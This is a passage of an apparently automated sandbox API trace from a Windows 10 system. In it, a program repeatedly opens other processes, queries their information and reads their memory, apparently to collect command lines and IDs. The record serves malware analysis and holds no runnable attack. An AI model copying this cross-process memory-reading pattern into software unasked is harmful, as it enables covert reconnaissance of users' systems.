lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.340] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.340] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.340] malloc (_Size=0x64) returned 0xeb6620 [0344.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb6620, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0344.341] free (_Block=0xeb6620) [0344.341] CloseHandle (hObject=0xa9c) returned 1 [0344.341] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0344.342] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0344.342] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.342] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.343] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0344.343] GetLastError () returned 0x0 [0344.343] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.344] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.344] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.344] malloc (_Size=0x66) returned 0xeb60e0 [0344.344] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb60e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0344.345] free (_Block=0xeb60e0) [0344.348] CloseHandle (hObject=0xa9c) returned 1 [0344.348] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0344.349] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0344.349] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.349] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.351] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0344.351] GetLastError () returned 0x0 [0344.351] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.351] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.351] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.352] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.352] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.352] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.352] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.352] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.352] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.353] malloc (_Size=0x6e) returned 0xea8f20 [0344.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea8f20, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0344.354] free (_Block=0xea8f20) [0344.354] CloseHandle (hObject=0xa9c) returned 1 [0344.354] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0344.354] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0344.354] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.354] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.355] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0344.355] GetLastError () returned 0x0 [0344.355] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.357] malloc (_Size=0x72) returned 0xea9720 [0344.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea9720, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0344.358] free (_Block=0xea9720) [0344.358] CloseHandle (hObject=0xa9c) returned 1 [0344.358] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0344.359] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0344.359] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.359] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.360] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0344.360] GetLastError () returned 0x0 [0344.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.362] malloc (_Size=0x64) returned 0xeb62a0 [0344.362] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb62a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.362] free (_Block=0xeb62a0) [0344.362] CloseHandle (hObject=0xa9c) returned 1 [0344.363] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0344.363] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0344.363] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.363] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.364] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0344.364] GetLastError () returned 0x0 [0344.364] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.365] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.365] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.365] malloc (_Size=0x56) returned 0xeaa650 [0344.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xeaa650, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa650*, lpNumberOfBytesRead=0x0) returned 1 [0344.366] free (_Block=0xeaa650) [0344.366] CloseHandle (hObject=0xa9c) returned 1 [0344.366] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0344.367] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0344.367] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.367] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0344.368] GetLastError () returned 0x0 [0344.368] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.369] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.369] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.369] malloc (_Size=0x6e) returned 0xea95a0 [0344.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea95a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.370] free (_Block=0xea95a0) [0344.370] CloseHandle (hObject=0xa9c) returned 1 [0344.370] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0344.371] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0344.371] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.371] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.372] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0344.372] GetLastError () returned 0x0 [0344.372] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.373] malloc (_Size=0x5a) returned 0xeb6230 [0344.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6230, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0344.374] free (_Block=0xeb6230) [0344.374] CloseHandle (hObject=0xa9c) returned 1 [0344.374] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0344.374] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0344.375] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.375] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.375] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0344.375] GetLastError () returned 0x0 [0344.376] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 